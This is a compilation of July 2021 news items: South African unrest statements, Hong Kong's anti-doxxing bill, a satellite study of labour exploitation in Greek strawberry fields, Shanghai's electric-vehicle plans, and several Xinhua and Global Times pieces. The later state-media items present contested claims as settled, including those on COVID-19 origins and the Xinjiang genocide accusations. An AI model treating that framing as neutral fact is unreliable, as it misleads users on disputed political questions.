The GCIS said the State will act to protect every person against the threat of violence, including the media.

The law enforcement officials will not hesitate to arrest and prosecute perpetrators. During this time of violent protests and looting, government will not allow humanity and dignity to be taken from any South African.

It has since urged South Africans to unite in creating a better future for all by remaining calm, exercising restraint, and resisting any attempts to incite violence, create panic, or fuel divisions.

It said government notes continued efforts by the media to provide the nation with up-to-date information about issues unfolding in our society.

Government also calls upon the media to use their channels and influence to assist government in restoring law and order.  SAnews.gov.za

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Hong Kong: Anti-doxxing bill to be gazetted

The Government will gazette on July 16 the Personal Data (Privacy) (Amendment) Bill 2021 that aims to combat doxxing acts that are intrusive to personal data privacy.

The bill criminalises doxxing acts and confers on the Privacy Commissioner for Personal Data statutory powers to issue cessation notices demanding the cessation or restriction of disclosure of doxxing content.

It also strengthens enforcement against doxxing cases by conferring on the commissioner the power to conduct criminal investigation and institute prosecution for such cases.

In drafting the bill, the Government had made reference to relevant laws of Singapore, New Zealand, Australia and other places. It also considered Hong Kongs actual circumstances when drafting practicable amendment provisions.

The Government reiterated that the legislative amendments this time only concern vicious doxxing acts and provide the commissioner with appropriate enforcement powers.

The scope of the offence is clear, focused and target-specific. The bill aims to tackle doxxers who publish doxxing messages with an intent to cause harm or are being reckless as to whether harm is caused to the data subject.

The Government also emphasised that the bill has already achieved a reasonable balance between protection of privacy and freedom of speech.

The general publics basic rights and freedoms as enshrined under the Basic Law and the Hong Kong Bill of Rights Ordinance, including freedom of speech, flow of information and lawful news activities will not be affected.

The bill requests electronic platforms to comply with the cessation notices so that doxxing contents intrusive to personal data privacy are removed early.

This is to prevent further dissemination of personal data and minimise the harm caused to the victims, and the bill does not target service providers.

As regards the Asia Internet Coalitions letter to the commissioner expressing concerns on the bill, the Government said it noted that the coalition has clarified that none of its members currently have plans to retreat from Hong Kong.

The commissioner has explained to the coalition the purpose and scope of the bill. Both parties agreed to keep strengthening communication to allay any concerns from the industry.

The bill will be introduced into the Legislative Council for the first and second reading on July 21.

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South Africa: King Misuzulu calls for end to violence and looting

Appealing for peace and calm, incoming amaZulu King Misuzulu Zulu KaZwelithini, has instructed his subjects to withdraw from participating in the wanton destruction of businesses, looting and public violence gripping KwaZulu-Natal and Gauteng.

The King made the call during an address to the nation on Wednesday amid public violence, which has taken place over the past six days. The unrest, which started in KZN on Friday, had by Tuesday evening claimed the lives of 72 people in the two provinces.

The brazen demolition of infrastructure, the King said, was not the right way to express dissatisfaction, saying it created a picture of a people who have lost their dignity.

What is even more saddening is that so many of those who are drawn into this lawlessness and criminality are members of the Zulu nation.

It has brought great shame upon us, as all fingers are pointed at my father's people.

I never thought after the tragic passing of my parents that I would see our own people so complicit in burning down the country, he said.

King Misuzulu said he fully understood the depression, borne of poverty and unemployment, especially among the youth, which has led some to join in the chaos.

Despite this, he appealed to the nation to take a step back and consider the damage that the protest action had inflicted.

He said while the chaos will destroy the countrys economy, the poor and vulnerable will pay the highest price.

When food cannot be delivered - because trucks and warehouses are being burned by our people - we will go hungry. As my father King Goodwill Zwelithini would say; let us stay away from match sticks.

When vaccines and medicines cannot be delivered, there will be no help for the sick and the dying, said the King.

Compounding matters, he said, is that the violence is unfolding amid the deadly third wave of COVID-19. For this reason, he said he believes that his fathers people are committing suicide.

One cannot see, but it is happening.

Our nation is highly respected all over the world, and is known as a nation that is very proud of its dignity and morals, said King Misuzulu, urging the nation to stop participating in the destruction of the country.

I appeal for calm; for peace to be restored. I call on our people to lead by example [and] not allow politics to change [the] dignity of our nation to be led to destruction. We are better than this. Let us respect the rule of law, and ensure order returns.

Calls for unity between amaZulu and Indians

He further urged amaZulu and Indians in the province to continue to live in harmony, saying the province has the second largest concentration of Indians outside of India.

This came amid reports of tribal attacks pitting blacks against Indians in suburbs in the province.  SAnews.gov.za

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Hong Kong: 5.54m register for voucher

The Government said the Consumption Voucher Scheme has received about 5.54 million registrations as of 6pm today, of which more than 5.42 million are electronic registrations.

The registration period will end on August 14.

Applicants who have completed electronic registration by July 17 and have their eligibility verified will receive the first voucher on August 1, while those who have completed electronic registration on or after July 18 or submitted paper registration forms will normally receive the first voucher on September 1.

People who choose to upload a copy of their ID card for authentication should complete the registration by uploading that copy by July 17 in order to receive the first voucher on August 1 after their eligibility has been verified.

The Government decided to adjust the time limit for uploading the ID card copy in light of the latest assessment on the network traffic.

From 6am tomorrow, people may upload their ID card copy to the scheme's website three hours after submitting the electronic registration to complete the registration procedure.

Those who have made an electronic registration before 6am tomorrow but have not yet reached the specified time for uploading the ID card copy may also upload it to the scheme's website from 9am tomorrow.

Call 18 5000 for enquiries.

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South Africa: Communities urged to operate within the rule of law

Government has called on communities that are affected by the ongoing violence in parts of the country to act within the prescripts of the law and not to use weapons to deal with the matter.

Addressing a media briefing on Wednesday, Acting Minister in the Presidency, Khumbudzo Ntshavheni, expressed concern that some community members have taken up arms in an attempt to protect their properties.

We understand the concern for communities for their safety and the need to protect their properties. We would like to urge communities to work with law enforcement authorities to stop the looting and violence, and to operate within the rule of law.

If we have everyone taking up arms, we stand the risk of having unruly elements hijacking the noble efforts of the community, Ntshavheni said.

In recent days, parts of Gauteng and KwaZulu-Natal have experienced violence that has resulted in the deaths of civilians, the looting of public and private property, destruction of infrastructure, as well as the suspension of essential services.

In terms of arrests, out of the 52 incidents in Gauteng, 219 cases have been opened and 686 arrests have been effected. In KwaZulu-Natal, out of the 156 incidents, 464 cases have been opened and 1 068 arrests have been affected, the Minister said.

She assured South Africans that government is working with different sectors of society to ensure an end to the looting and violence.

We are, however, getting a positive response that the deployment of additional law enforcement officers is starting to bear positive results, as we are seeing less incidents of violence and looting reported, Ntshavheni said.

Currently, 5 000 members of the South African National Defence Force (SANDF) have been deployed to the affected areas.

Law enforcement officers, supported by the military, are working tirelessly to ensure the country returns to peace and stability, and that those responsible for the instability are brought to book.

Different Ministers have also been tasked to undertake monitoring visits to different areas, where violence and looting have been reported, to assess the situation and to call for calm, the Minister said.

She warned members of the community and the media against releasing or circulating sensitive information on the investigations of identified suspects who are behind the violence and looting.

The situation will jeopardise sensitive investigations that are ongoing and it can affect the judicial process. We therefore appeal for responsible reporting and sharing of sensitive information, the Minister said.

Ensuring food security

In an effort to ensure food security in the country, government is working with the National Consumer Goods Council.

With the looting of shopping malls and centres, the community is raising concerns on food shortages and stoppage of key economic activities.

There are also reports of panic buying by members of the public. We urge members of the public to remain calm and exercise restraint during these trying times.

If we have members of the public flocking to the shops and malls to buy food, we are also risking the further spread of COVID-19, the Minister said.

Economic recovery

Government has reiterated that efforts are underway to rebuild the economy, with Ntshavheni saying youth unemployment is receiving priority attention.

In terms of the long-term programmes, government has already started working in partnership with the private sector, labour and communities on rebuilding the economy.

[In our efforts to rebuild] the economy, we are fully aware that the unemployment of particularly the young people is a serious problem that remains a ticking time bomb.

We are working not only to create jobs for the youth but also to partner with the youth to support them to start their own businesses, to make sure that we create a generation of not only job seekers but a generation of job creators, a generation of those who own the means of production and own the economy, the Minister said.

Ntshavheni acknowledged that investments will be affected by the events of recent days but expressed confidence in efforts to rebuild the economy.

We cannot disregard the fact that investments in South Africa will be slightly affected but we are confident about the rebuilding of the economy and the partnership with business in South Africa who have stayed true patriots in making sure that we rebuild this economy.

In terms of local and foreign investments, government is already working with businesses in South Africa to make sure we stabilize the situation. We have confidence that the situation will be handled quickly and the threat to investments will be minimised not only from the scourge of the violence but also from the impact of the COVID-19 disaster, the Minister said.

She identified the continents limited access to COVID-19 vaccines as a hindrance to rebuilding economies in Africa.

As long as the continent of Africa is still limited in accessing to vaccines, we will have a problem rebuilding the economy of the continent, the Minister said.

Ntshavheni reiterated South Africas call to the World Trade Organisation to waiver specific Trade-Related Aspects of Intellectual Property Rights (TRIPS) obligations related to the manufacturing of COVID-19 vaccines.  SAnews.gov.za

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Experts tackle modern slavery in Greek strawberry fields using satellite technology

A consortium of modern slavery experts, led by the University of Nottingham, have assisted the Greek government to tackle a humanitarian crisis unfolding in the strawberry fields of southern Greece.

Using satellite technology to identify migrant settlements - a technique pioneered by the university's Rights Lab - and working with the Greek authorities, the experts then developed a decision model for which they could prioritise victims that were at highest risk.

Leading the study, the Rights Lab combined different data sources and methods to build a set of criteria measuring the extent of labour exploitation in a settlement. The academics then validated these criteria with a government agency and a Non-Governmental Organisation (NGO) involved in fighting labour exploitation.

By combining earth observation data with operations management techniques, this method has been successfully used to address labour exploitation in areas where strawberries are harvested.

This approach is a world-first in the humanitarian sector, with the study, funded by the Economic and Social Research Council (ESRC), being published in the journal of Production and Operations Management.

The strawberry fields of Nea Manolada have been in the human rights spotlight since May 2013, when three local field guards shot and injured 30 Bangladeshi migrant workers. In March 2017, the European Court of Human Rights (ECtHR) ruled that the workers had been subjected to forced labour and that Greece had violated Article 4 of the European Convention on Human Rights by not preventing human trafficking of irregular migrant workers. Following a high-stake ruling by the Court, the Greek government was mandated to ramp-up its fight against labour exploitation.

Dr Ioannis Kougkoulos led the study while at the Rights Lab. He said: "The use of seasonal workers, the relatively low level of skills required, a strong reliance on outsourcing and agent-based recruitment of workers increase the likelihood of labour exploitation. Forced migration caused by crises around the world exacerbates this phenomenon. Refugees and migrants often live-in illegality and experience serious financial distress, which puts them at high risk of becoming victims of labour exploitation.

"Governments are responsible for ensuring equal treatment for migrant and national workers on their territory, and to protect migrants from being employed under substandard working conditions."

Dr Doreen Boyd, a co-author, Rights Lab Associate Director, and Professor of Earth Observation at the University of Nottingham led the ESRC grant that supported this work. She said: "We have demonstrated how remote sensing data enables the identification and location of informal settlements of workers in potential situations of labour exploitation over a large geographic area (140km2). Identifying these settlements from the ground would require driving around the entire study area in search of possible settlements, which would be costly and ineffective, since many settlements are not visible from the road.

"Our approach can be replicated in other labour-intensive agricultural activities where cheap labour is abundant, such as the Italian tomato fields or tobacco-producing regions in Argentina. Future studies could extend our approach to different applications in humanitarian operations, for example, to study migration flows, by combining remote sensing with a decision-making tool such as Multi-Criteria Decision Analysis for identifying and assessing risks of settlements of forcibly displaced persons in highly fluid conflict situations, like the South Sudan or the Democratic Republic of Congo."

In the paper, the researchers report that fighting labour exploitation in the agricultural sector requires time-intensive fieldwork, as it involves visiting suspected farms and informal worker settlements, which governments and humanitarian organisations often lack resources to do.

Using remote sensing, a form of satellite technology, for real-time data collection allowed the academics to overcome one of the major challenges of research in humanitarian operations, namely the difficulty of accessing data due to safety and logistical issues limiting access to the field.

Once areas of potential exploitation had been identified through satellite imagery, these settlements were investigated and verified - known as 'ground-truthing'. On the ground, the inspection teams collected data from each settlement using questionnaires to address all criteria required for the decision analysis model that the academics had prepared.

Next, the academics used Multi-Criteria Decision Analysis (MCDA), a recognised method in the operations sector for decision-making to formalise and address the problem of competing decision objectives - a common characteristic of humanitarian operations.

Each settlement was then ranked, using the MCDA model, to assist the government and humanitarian organisations intervene in the top-priority settlements (starting with the riskiest settlement and moving toward the less risky) and allocate resources to the most vulnerable migrant workers to improve their living conditions.

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The research team involved in this project was Dr Ioannis Kougkoulos (at the Rights Lab during this study, now at LAMSADE-CNRS); Selim Cakir (Rights Lab); Nathan Kunz (University of North Florida); Doreen Boyd (Rights Lab), Alexander Trautrims (Rights Lab); Kornilia Hatzinikolaou (Aristotle University of Thessaloniki); and Stefan Gold (University of Kassel).

More information is available from Professor Doreen Boyd in the Rights Lab at the University of Nottingham at Doreen.Boyd@nottingham.ac.uk or; Katie Andrews in the Press Office at the University of Nottingham at katie.andrews@nottingham.ac.uk or 0115 9515751.

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Shanghai (Gasgoo)- Shanghai expects its annual new energy vehicle (NEV) output volume to exceed 1.2 million units and the output value of the NEV industry to top 350 billion yuan ($54.073 billion) per year by 2025, according to a plan released by Shanghai municipal government on July 14.

All-new Roewe Ei5; photo credit: Roewe



As part of efforts to increase use of NEVs, Shanghai will vigorously popularize NEVs in such field as private car, bus, taxi, official vehicle, logistics service, and garbage truck, perfect the deployment of EV charging and battery swapping facilities, and speed up the construction of hydrogen-refueling stations.

Besides, Shanghai will move faster on making breakthroughs in core components like high-performance power battery, high-power/-density electric drive and control systems, and encourage local leading companies to roll out more high-end products with great core competence. To shore up the innovation and development of fuel cell vehicles (FCVs) in the Yangtze River Delta, Shanghai will build a city cluster for the demonstration of FCVs and strive to achieve industrialized production of the core parts like fuel cell stack, membrane electrode, and bipolar plate.

According to the aforementioned plan, Shanghai aims to make world-leading achievements in the general technical level and application scale of intelligent-connected vehicles (ICVs), and make ICVs commercially viable in specific scenarios by 2025. To achieve the goal, the megacity will redouble efforts to make breakthroughs in core technologies including the perception of complex environment, new types of electrical/electronic architecture, and drive-by-wire actuator system; promote the R&D and industrialization of in-car visual system, LiDAR, millimeter-wave radar, automotive-grade chip, and other key components; boost the applications of AI, high-precision positioning, and 5G-enabled communications technologies in ICVs; build a nation-level platform for the innovation and development of ICVs.
Xi greets people participating in CPC centenary celebration preparations

Xinhua) 07:51, July 14, 2021

Leaders of the Communist Party of China (CPC) and the state Xi Jinping, Li Keqiang, Wang Yang, Wang Huning, Zhao Leji and Han Zheng meet with representatives of all who have participated in the preparations for the CPC centenary celebrations, in Beijing, capital of China, July 13, 2021. (Xinhua/Yin Bogu)

BEIJING, July 13 (Xinhua) -- Chinese President Xi Jinping on Tuesday met with representatives of all who had participated in the preparations for the centenary celebrations of the Communist Party of China (CPC).

Xi, also general secretary of the CPC Central Committee and chairman of the Central Military Commission, expressed appreciation for their work and achievements, encouraging them to work hard to make new contributions.

Members of the Standing Committee of the Political Bureau of the CPC Central Committee -- Li Keqiang, Wang Yang, Wang Huning, Zhao Leji, and Han Zheng -- attended the meeting.

At a meeting of the Standing Committee of the Political Bureau of the CPC Central Committee held earlier, Xi made a speech after hearing a report on the celebrations.

Xi noted that the celebrations of the CPC centenary, a major event in the political life of the Party and the state, have reached the expected results under the CPC Central Committee's strong leadership and through joint efforts of all participants.

The celebrations turned out to be a grand ceremony of the Party and a festival for the people, he said.

The passion and positive energy aroused by the celebrations can channel into the dynamic for fully building a modern socialist country and realizing national rejuvenation, Xi said.

He called for efforts to make the Party stronger, ensure its core leadership over socialism with Chinese characteristics, and better present the CPC to the world so as to enhance the international influence of the Party and the country.

Xi stressed strengthening and expanding what has been achieved in the celebrations to ensure a good start for implementing the 14th Five-Year Plan (2021-2025) and embarking on a journey toward the second centenary goal: building China into a great modern socialist country in all respects.

Speaking at Tuesday's meeting, Wang Huning called for studying and implementing Xi's speech and requirements, while consolidating and expanding the achievements of the celebrations.

He called on all Party members, officials, and the public to channel their passion into actions in their work.

(Web editor: Xia Peiyao, Du Mingming)
Xi says China to help Ukraine beat pandemic

Xinhua) 07:53, July 14, 2021

BEIJING, July 13 (Xinhua) -- Chinese President Xi Jinping said Tuesday that China is ready to continue strengthening cooperation with Ukraine on vaccine and traditional Chinese medicine, and help the country beat the COVID-19 pandemic.

Xi made the remarks in a telephone conversation with Ukrainian President Volodymyr Zelensky.

Ever since China and Ukraine established their strategic partnership 10 years ago, bilateral ties have maintained a healthy and stable momentum in development, and their cooperation in various areas has achieved positive results, bringing tangible benefits to the people of the two countries, Xi said.

He also said that the two countries have since last year joined hands in fighting against the COVID-19 pandemic, and carried out cooperation on vaccine and other areas, deepening the friendship between the two peoples.

The Chinese side is ready to work together with Ukraine to carry forward the traditional friendship, deepen mutual understanding, strengthen practical cooperation, and take the 30th anniversary of the establishment of bilateral ties next year as an opportunity to actively push forward China-Ukraine relations, and help the two countries better achieve their respective development goals, Xi added.

Noting the recurring waves of the outbreak, Xi said the only way for the international community to perform well in humanity's arduous fight against the virus is through solidarity and cooperation.

Xi added that the two sides should take high-quality joint construction of the Belt and Road as an opportunity to push forward cooperation on such projects as infrastructure and China-Europe freight train service, advance cooperation on agricultural products, and expand people-to-people exchanges and cooperation.

For his part, Zelensky noted that the Chinese side just celebrated the 100th anniversary of the founding of the Communist Party of China (CPC), saying that the Ukrainian side extended its congratulations, and wishes greater achievements by the Chinese people under the CPC's leadership.

In the face of the strike by the COVID-19 pandemic, the Chinese side has offered timely and precious assistance to Ukraine, which has played an important role in helping Ukraine fight against the disease, he said, adding that he hopes the two sides can strengthen cooperation on vaccines, medicine and other areas.

Noting that the Ukrainian side attaches great importance and is dedicated to developing a closer Ukraine-China strategic partnership, Zelensky said Ukraine firmly adheres to the one-China policy, and is ready to take the 10th anniversary of the bilateral strategic partnership as well as the 30th anniversary of the establishment of bilateral ties as an opportunity to promote exchanges and cooperation with China in various areas.

(Web editor: Xia Peiyao, Du Mingming)
China urges relevant Western countries to tackle racial discrimination

Xinhua) 07:58, July 14, 2021

BEIJING, July 13 (Xinhua) -- China urges relevant Western countries to earnestly respond to the concerns of the international community, deeply reflect on themselves and take concrete measures to address the issue of systemic racism and racial discrimination, said a Foreign Ministry spokesperson on Tuesday.

Spokesperson Zhao Lijian made the remarks at a daily news briefing when asked to comment on systematic racism and racial discrimination in Western countries, which received wide attention at the 47th session of the United Nations Human Rights Council.

The council on Monday held an interactive dialogue on protecting the human rights of Africans and people of African descent. Developing countries denounced systematic racism and racial discrimination and called on the international community to step up efforts to combat discrimination and violence against people of African and Asian descent, Zhao said.

Michelle Bachelet, the UN high commissioner for human rights, said the denial of historical responsibility by countries that benefited from slavery, the transatlantic slave trade and the colonial system was an important cause of rampant racism and racial violence.

Bachelet also noted that the countries concerned should take substantive measures to change discriminatory mechanisms and measures, hold people accountable for racist crimes and provide reparations to the victims, so as to achieve racial equality and justice at an early date.

"We urge relevant Western countries to earnestly respond to the concerns of the international community, deeply reflect on themselves and take concrete measures to address the issue of systemic racism and racial discrimination, so as not only to promote and protect human rights at home, but also to contribute to the healthy development of the international human rights cause," Zhao said.

The Human Rights Council session on Monday also adopted a resolution, highlighting that development and the realization of human rights and fundamental freedoms are interdependent and mutually reinforcing.

Co-sponsored by China and a number of other countries, the resolution, titled "The contribution of development to the enjoyment of all human rights," emphasizes the important role of inclusive and sustainable development in promoting and protecting human rights.

"Development is the eternal theme of human society and the key to solving all problems. Only with better development can human rights be better promoted and protected," Zhao noted.

"We hope the resolution will help all parties build consensus and jointly promote sustainable development and universal enjoyment of human rights," Zhao said.

(Web editor: Xia Peiyao, Du Mingming)
Scholar says COVID-19 evolved naturally, dismisses lab leakage theory

Xinhua) 08:00, July 14, 2021

NAIROBI, July 13 (Xinhua) -- Emerging scientific consensus that the COVID-19 pandemic evolved naturally, as opposed to human misadventure, has put to rest false narratives about the virus' origin publicized by some Western countries, a scholar has said.

Stephen Ndegwa, a scholar at the Nairobi-based United States International University-Africa, said in a commentary published by the Star newspaper on Monday that linking the origin of the virus to a laboratory leakage in the central Chinese city of Wuhan is not tenable as a growing body of scientific evidence points to natural sources.

He cited an independent analysis from a group of experts overseen by the World Health Organization and the peer reviewed studies published by the Lancet, a leading medical journal, which have debunked the myth that the coronavirus originated from a laboratory.

He lauded an international group of scientists, who in a letter published by the Lancet on July 5 dismissed the laboratory leakage theory advocated by some Western powers.

He said the same group of international scientists in February 2020 had condemned conspiracy theories pertaining to the virus' origin, while pledging solidarity with China to boost its containment of the pandemic.

Ndegwa expressed faith in emerging scientific evidence that the virus evolved naturally, adding that linking it to a laboratory leakage only serves a diabolical agenda and is not sustainable.

He said that the bulk of energy and resources should be channelled towards efforts to suppress the virus, as opposed to obsession with its origins.

Ndegwa also urged some nations to focus more on containing the virus and not on blaming China to cover up their own incompetence during the early stages of the pandemic.

He added that China has been on the frontlines of global efforts to contain the pandemic through knowledge sharing and donations of vaccines and other medical supplies.

(Web editor: Xia Peiyao, Du Mingming)
Stop politicizing COVID-19 origins: more scientists speak out

Xinhua) 08:44, July 14, 2021

-- As the global vaccination rollout brings light to countries wrapped in a COVID-19 darkness, an emerging "political virus" has cast a shadow on the origins of the disease.

-- Some Western politicians have cooked up the lab-leak hypothesis to blame China and unleash intense waves of disinformation about the disease's origins, which have drawn criticism from the science community.

-- Scientists are increasingly worried about the consequences of unfounded allegations, which will hinder origin-tracing work and undermine preparations for the next pandemic.

BEIJING, July 13 (Xinhua) -- As the global vaccination rollout brings light to countries wrapped in a COVID-19 darkness, an emerging "political virus" has cast a shadow on the origins of the disease.

As of Tuesday morning, more than 187 million people around the globe have contracted the virus, with more than 4 million lives lost.

However, some self-interested Western politicians are concocting conspiracy theories and spreading misinformation about the origins of the deadly virus, including the tired lab-leak hypothesis. Such unsubstantiated notions do nothing but distract researchers dedicated to learning how and where the contagion began.

Scientists worldwide have spoken out against practices of politicizing the origins of COVID-19.

Chinese expert members of a WHO-China joint team introduce the report on the WHO-convened global study of COVID-19 origins at a press briefing in Beijing, capital of China, March 31, 2021. (Xinhua/Zhang Yuwei)

OPEN QUESTION

How and when the novel coronavirus reached "patient zero" remains unanswered.

Evidence has begun to emerge that COVID-19 had been circulating around the world earlier than the pathogen was first reported in the central Chinese city of Wuhan.

In mid-June, a new antibody testing study by the U.S. National Institutes of Health, which analyzed more than 24,000 blood samples from all 50 U.S. states between Jan. 2 and March 12, 2020, found evidence of SARS-CoV-2 infections in the country earlier than initial reports, which date back to late December 2019.

In early June, the World Health Organization requested an Italian research team re-test the samples in their study. Last November, Italy's National Cancer Institute reported that it found evidence of COVID-19 antibodies in the blood of four Italian cancer test subjects in October 2019, meaning they would have been infected by the virus in September, while the first known patient in Italy was detected with infection on Feb. 21, 2020.

Dominic Dwyer, an Australian virologist with the University of Sydney, thinks that animals are the likely source of COVID-19, but it remains overhasty to reach a definitive conclusion right now, saying "the 'gotcha' evidence still eludes in what can take years."

In the view of David Fidler, a global health researcher with the Council on Foreign Relations, a Washington-based think tank, it's hard to expect COVID-19 origin investigations to reveal definitive data any time soon, according to a report published in the science journal Nature in late May.

The origins of most Ebola outbreaks remain mysterious, and researchers have spent 14 years nailing down evidence that the 2002-04 SARS epidemic was caused by a virus transmitted from bats to civets to humans, Fidler said.

The video screenshot taken on March 30, 2021 shows Peter K. Ben Embarek, leader of an international team of experts to Wuhan, attending a virtual press conference. (Xinhua)

FOLLOW SCIENCE

In late March, the WHO released a report on the global tracing of COVID-19 origins, following a 28-day joint study in Wuhan by 34 experts from the WHO and China.

The experts assessed the likelihood of possible pathways, saying COVID-19 introduction through an intermediate host is "likely to very likely," through cold/food chain products "possible," and through a laboratory incident "extremely unlikely."

Calling the report "a very important beginning," WHO Director-General Tedros Adhanom Ghebreyesus said: "We have not yet found the source of the virus, and we must continue to follow the science and leave no stone unturned as we do."

Nonetheless, some Western politicians have cooked up the lab-leak hypothesis to blame China and unleash intense waves of disinformation about the disease's origins, which have drawn criticism from the science community.

Danielle Anderson, who has extensive experience in bat-borne virus research, is the only foreign scientist to have worked in the high-security BSL-4 lab of the Wuhan Institute of Virology. In an interview with Bloomberg in June, Anderson rejected the lab-leak theory, saying, "If people were sick, I assume that I would have been sick -- and I wasn't.

Anderson also said that no one she knew at that time was ill. "We went to dinners together, lunches. We saw each other outside of the lab," said the virologist, who feels "dumbfounded by the portrayal of the lab by some media outside China, and the toxic attacks on scientists that have ensued."

Furthermore, Vladimir Dedkov, deputy director for scientific work at Russia's Pasteur Research Institute of Epidemiology and Microbiology, recently told Xinhua that if the hypothesis of an artificial origin is investigated, then it is necessary to investigate all laboratories with viruses of this type, not only in China, but in other countries.

Only scientists who rely on international cooperation can clarify the question of the origins of new viruses, he added.

The video screenshot taken on May 7, 2021 shows World Health Organization (WHO) Director General Tedros Adhanom Ghebreyesus attending a press briefing in Geneva, Switzerland. (Xinhua)

POLITICAL HINDERANCE

Some non-scientists are rushing to fabricate evidence in the name of science. U.S. President Joe Biden has tasked the U.S. intelligence community to produce a report on the origins of COVID-19 within 90 days, instead of offering assistance to the WHO and facilitating the worldwide hunt for the source of the virus, including in his own country.

Meanwhile, scientists are increasingly worried about the consequences of unfounded allegations, which will hinder origin-tracing work and undermine preparations for the next pandemic.

Earlier this month, two dozen prominent international scientists reiterated their belief that the coronavirus evolved naturally rather than escaped from a lab, in a letter published in The Lancet medical journal.

Photo taken on March 30, 2021 shows an exterior view of the headquarters of the World Health Organization (WHO) in Geneva, Switzerland. (Xinhua/Chen Junxia)

"Allegations and conjecture are of no help, as they do not facilitate access to information and objective assessment of the pathway from a bat virus to a human pathogen that might help to prevent a future pandemic," they wrote. "Recrimination has not, and will not, encourage international cooperation and collaboration."

"I concur with the many scientists who say that politicizing the science does not help genuine efforts to identify the origins of SARS-CoV-2, or ongoing collaboration between Chinese and Western scientists," said Hume Field, a science and policy advisor for China and Southeast Asia at EcoHealth Alliance in New York.

It just generates "doubt" and "mistrust" and fundamentally undermines the united global effort needed to prevail against the virus and the pandemic, Field told Xinhua.

Similarly, Dedkov said politicizing the topic is purely counterproductive, urging his colleagues to work together to find the cause of the pandemic instead of blaming China without proof.

(Web editor: Xia Peiyao, Du Mingming)
Father reunites with abducted son after 24 years of arduous search

Xinhua) 08:57, July 14, 2021

The 51-year-old Guo Gangtang and his wife reunited on Sunday with their missing son, Guo Xinzhen, who was abducted in 1997 at the age of 2 in Shandong province. Photo/CHINA DAILY

BEIJING, July 13 (Xinhua) -- Guo Gangtang, whose unfazed spirit to find his abducted son inspired the 2015 road drama film "Lost and Love," finally reunited with his son after 24 years.

The movie portrays Guo's arduous journey riding a motorbike across China in search of his son.

Police located his son after clues pointed to the suspected whereabouts in central China's Henan Province in June, and arranged the family reunion in Liaocheng City, east China's Shandong Province, on Sunday after a DNA test confirmed their relationship.

Two suspects involved in the human trafficking of Guo's son have been nabbed.

"We are really happy for the family, and we have accomplished what we had aspired for so many years," said Tong Bishan, deputy director of the Criminal Investigation Bureau, Ministry of Public Security, at a press conference on Tuesday.

"What impressed us is, as the father of an abducted kid, Guo Gangtang proactively participated in the anti-abduction volunteer activities while searching for his own child over the past 24 years, and have constantly fed back information on other abducted children to the public security organs," Tong told reporters.

In September 1997, Guo's two-year-old son was abducted by an unknown woman when he was playing near his home in Liaocheng City.

More than 500 people searched for the boy in nearby bus and train stations, but to no avail.

Local police immediately set up a special team to investigate the case but failed to locate the child due to the limited technological means in those days.

However, Guo didn't give up hope. He embarked on an arduous search through the world's most populous nation, carrying a messenger bag full of flyers and a flag bearing a picture of his son strapped to the back -- a scene that features in the film "Lost and Love."

Covering around 500,000 km, Guo's 24-year journey to locate his son took him to nearly all provincial regions across China at the expense of 10 beat-up motorcycles. He burned through all his savings and even once incurred debts worth hundreds of thousands of yuan.

Though he did not find his own child, he helped many people find their relatives. Police have managed to locate more than 100 abducted children who were missing for many years with the help of clues provided by Guo.

Guo's son was eventually found after the Ministry of Public Security launched a nationwide campaign named "Tuanyuan" -- meaning reunion in Chinese -- in January to solve cold cases involving child abduction.

Police have located and rescued 2,609 missing or abducted children this year including adults who had gone missing or were kidnapped as kids. One victim was traced after a span of 61 years.

During the period, they have cracked 147 cold cases involving child abduction and trafficking and arrested a total of 372 suspects linked to such crimes, data from the ministry showed.

Andy Lau, who stars as the father of the abducted child in "Lost and Love," expressed his admiration for Guo's perseverance in searching for his son and hailed the police for their years of effort.

"I hereby appeal to all my friends to join me in supporting anti-trafficking efforts and I hope that more separated families can be reunited as soon as possible," Andy Lau said in a video message released after he learned the news.

"What I want most is to realize my dream for the rest of my life," reads Guo's profile bio of his short video platform account.

His dream has certainly come true.

(Web editor: Xia Peiyao, Hongyu)
China's contributions help enable global equitable access to COVID-19 vaccines: Bangladeshi official

Xinhua) 08:58, July 14, 2021

DHAKA, July 13 (Xinhua) -- The entry of Chinese vaccines into the COVAX demonstrates contributions China has been making to solving the uneven distribution of COVID-19 vaccines around the world, a Bangladeshi health advisor said on Tuesday.

Mushtuq Husain, an adviser to the Institute of Epidemiology, Disease Control and Research under Bangladesh's Health Ministry, in an interview with Xinhua said so far China is the country that provides the most vaccines for developing countries.

He said China's contributions will bolster the inoculation drive against the ongoing COVID-19 pandemic worldwide.

The official said Bangladesh is delighted to learn that the Chinese drugmakers Sinopharm and Sinovac will provide COVID-19 vaccines for the COVAX program to bolster its goals of reducing death and suffering as well as improving the global economy.

"We are very happy and feeling relieved that Sinopharm and Sinovac have contributed to COVAX to facilitate the equitable distribution of COVID-19 vaccine to the developing countries," he said, adding that this would be a big boon for the whole world in the fight against the deadly disease.

The official said Bangladesh is in need for more Chinese support to rein in the worsening COVID-19 situation.

The Bangladeshi health official also said they are seeking more cooperation with Chinese organizations in the fight against infectious diseases.

(Web editor: Xia Peiyao, Hongyu)
With own horrible human rights in focus, US repeats 'genocide' claim

Global Times) 09:02, July 14, 2021

US human rights(Illustration/GT)

"It is a joke lie of the century!" The latest US move listing China as one of six countries in the world that are "witnessing" or are at risk of "atrocities and genocide" was ridiculed by the Chinese Foreign Ministry spokesperson.

Experts said that the report is more like a "guidebook" for US politicians to initiate anti-China bills and to coordinate allies for the campaign to further smear China, especially when their own infamous human rights records are being further scrutinized at the 47th session of the United Nations Human Rights Council. Observers also warned the report may signal US' inciting more malicious actions against China over Xinjiang issue.

US Secretary of State Antony Blinken on Monday released an annual report on genocide and atrocities prevention, which claimed to "provide direct detailed accounts of atrocities" taking place in six countries. Listed were Myanmar, Ethiopia, China, Syria, Iraq and South Sudan. It accuses China of "committing genocide and crimes against humanity" against Uygurs and other minorities in its Xinjiang region.

The annual report is mandated by bipartisan legislation known as the Elie Wiesel Genocide and Atrocities Prevention Act, and was approved in 2018. This is the first time the annual report listed countries directly with detailed information. The 2020 report, released by the State of Department on August 7, 2020 also mentioned China's Xinjiang for the "human rights crisis."

The US has upgraded its accusations against China over Xinjiang topics to meet its current strategic purposes. The new content and countries listed in this year's report of the Elie Wiesel Genocide and Atrocities Prevention Act would help US lawmakers who are seeking hints for new bills and proposals to the president, Zhu Ying, a professor on international laws from Southwest University of Political Science and Law told the Global Times.

